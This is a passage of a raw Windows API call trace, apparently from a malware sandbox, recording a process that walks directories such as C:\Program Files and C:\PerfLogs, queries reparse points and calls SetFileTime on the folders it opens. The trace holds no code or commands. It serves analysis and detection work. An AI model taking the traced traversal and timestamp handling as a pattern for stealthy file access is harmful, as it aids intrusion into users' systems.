lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0045.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0045.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0045.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0045.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0045.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0045.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0045.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0045.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0045.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0045.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0045.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0045.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0045.294] GetLastError () returned 0x12 [0045.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6a78) returned 1 [0045.294] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0045.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6970) returned 1 [0045.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0045.295] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 0 [0045.295] GetLastError () returned 0x12 [0045.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0045.295] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0045.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0045.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0045.295] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 0 [0045.295] GetLastError () returned 0x12 [0045.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0045.295] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0045.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0045.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0045.295] FindNextFileW (in: hFindFile=0x2e8fc0, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4ecf3280, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0045.295] FindNextFileW (in: hFindFile=0x2e8fc0, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0045.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0045.295] GetFileAttributesExW (in: lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), fInfoLevelId=0x0, lpFileInformation=0x119f930 | out: lpFileInformation=0x119f930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.296] CreateFileW (lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x158 [0045.296] SetFileTime (hFile=0x158, lpCreationTime=0x0, lpLastAccessTime=0x119f974, lpLastWriteTime=0x119f974) returned 0 [0045.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dde90 [0045.296] DeviceIoControl (in: hDevice=0x158, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dde90, nOutBufferSize=0x4000, lpBytesReturned=0x119f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x9dde90, lpBytesReturned=0x119f9cc, lpOverlapped=0x0) returned 0 [0045.296] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dde90) returned 1 [0045.296] NtClose (Handle=0x158) returned 0x0 [0045.296] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0045.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0045.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0045.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0045.296] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e9000 [0045.296] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.296] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0045.296] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0045.296] GetLastError () returned 0x12 [0045.296] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e8f80 [0045.297] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0045.297] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.297] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0045.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0045.297] GetFileAttributesExW (in: lpFileName="C:\\PerfLogs\\Admin" (normalized: "c:\\perflogs\\admin"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.297] CreateFileW (lpFileName="C:\\PerfLogs\\Admin" (normalized: "c:\\perflogs\\admin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x158 [0045.297] SetFileTime (hFile=0x158, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0045.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dde90 [0045.297] DeviceIoControl (in: hDevice=0x158, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dde90, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9dde90, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0045.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dde90) returned 1 [0045.297] NtClose (Handle=0x158) returned 0x0 [0045.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0045.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0045.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0045.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0045.297] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\Admin\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9000 [0045.297] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.298] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0045.298] GetLastError () returned 0x12 [0045.298] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\Admin\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0045.298] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0045.298] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.298] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0045.298] GetLastError () returned 0x12 [0045.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0045.298] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0045.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0045.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0045.298] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0045.298] GetLastError () returned 0x12 [0045.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0045.298] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0045.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0045.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0045.298] FindNextFileW (in: hFindFile=0x2e8fc0, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa44a8750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa44a8750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Program Files", cAlternateFileName="")) returned 1 [0045.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0045.298] GetFileAttributesExW (in: lpFileName="C:\\Program Files" (normalized: "c:\\program files"), fInfoLevelId=0x0, lpFileInformation=0x119f930 | out: lpFileInformation=0x119f930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa44a8750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa44a8750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0045.298] CreateFileW (lpFileName="C:\\Program Files" (normalized: "c:\\program files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0045.299] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f974, lpLastWriteTime=0x119f974) returned 0 [0045.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dde90 [0045.299] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dde90, nOutBufferSize=0x4000, lpBytesReturned=0x119f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x9dde90, lpBytesReturned=0x119f9cc, lpOverlapped=0x0) returned 0 [0045.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dde90) returned 1 [0045.299] NtClose (Handle=0x124) returned 0x0 [0045.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0045.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0045.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0045.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0045.299] FindFirstFileExW (in: lpFileName="C:\\Program Files\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e8f80 [0045.299] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa44a8750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa44a8750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.299] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff54690, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff54690, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="")) returned 1 [0045.299] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0045.299] RtlAllocateHeap 